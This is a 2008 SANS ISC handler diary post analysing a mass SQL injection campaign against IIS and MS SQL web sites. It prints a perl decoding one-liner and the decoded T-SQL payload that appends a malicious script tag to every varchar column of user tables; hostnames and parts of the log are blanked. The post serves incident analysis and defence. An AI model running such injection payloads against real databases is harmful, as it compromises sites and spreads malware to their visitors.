Threat Level: green Handler on Duty: Richard Porter

SANS ISC InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Mass exploits with SQL Injection

Published: 2008-01-09
Last Updated: 2008-01-09 09:05:44 UTC
by Bojan Zdrnja (Version: 1)
1 comment(s)

Couple of days ago fellow handler Scott wrote a diary about sites hosting exploits for various Realplayer vulnerabilities. One of the malicious sites mentioned in the article, looked particulary interesting. When you search for this web site in Google you get thousands of other, compromised sites that are all pointing to the web site. This, obviously, sparked some interest in the security community so we decided to dig a bit further into this attack.

It turned out that there is an automated script or a bot exploiting SQL injection attacks in vulnerable web applications. I remembered that I saw the very same attack appearing back in November last year but it was not this wide spread – it appears that the attacker improved the crawling/attacking function of his bot so he managed to compromise more web sites.

The attack back from November 2007 was almost exactly the same as the current one, but the SQL statement appears to be a bit improved. One of the logs that we received back in November is shown below:

GET /home/site_content_3.asp


As you can see, we can't tell much what's going on here. The attackers were smart and decided to obfuscate the attack by using the CAST statement. The CAST statement explicitly converts one data type to another. So, the attackers CAST the big input value as "@S" and then execute it. In this example, the site_content_3.asp script is vulnerable to SQL injection (notice the ' character after s=290, which is an input parameter for the site_content_3.asp script).

Back to the CAST statement. We can decode this simply with perl, we just need to copy the CAST content into a separate line and do something like this:

$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output

The output file will contain the decoded SQL statement:

declare @m varchar(8000);set @m='';select @m=@m+'update['']set['']=rtrim(convert(varchar,''))+''<script src=""></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where and a.xtype='U'and b.xtype=c.xtype and'varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);

And here we can see exactly what's going on. This SQL statement takes all rows from the sysobjects table with type U (user table). It then cycles through those objects and matches those that with type „varchar“. Finally, for every such object it executes an update statement which results in appending the code shown above pointing to the site.

The attack with the site was practically the same with a bit better SQL – Ryan Barnett posted an example of this attack at

As some people noticed, almost all affected web sites are running IIS and MS SQL server. This makes sense since the SQL statement in the attack will work only on MS SQL servers and there aren't that many web sites running Apache on Windows. That being said, I have no doubt that the bad guys will expand their bot (if they haven't already) so it starts attacking PHP+MySQL web sites.

This is another example that points to issues with development of web applications (see the OWASP top ten vulnerability list for 2007 – injection flaws are on the second place One could also protect against attacks such as this one with a reverse proxy/web application firewall in front of the web server. However, be aware that this is just a temporary fix – as we saw in this example the bad guys are pretty good in evading detection, as they did with the CAST statement (sure, you can block on CAST but be aware that there are other obfuscation ways).



Keywords: SQL Injection
1 comment(s)
Diary Archives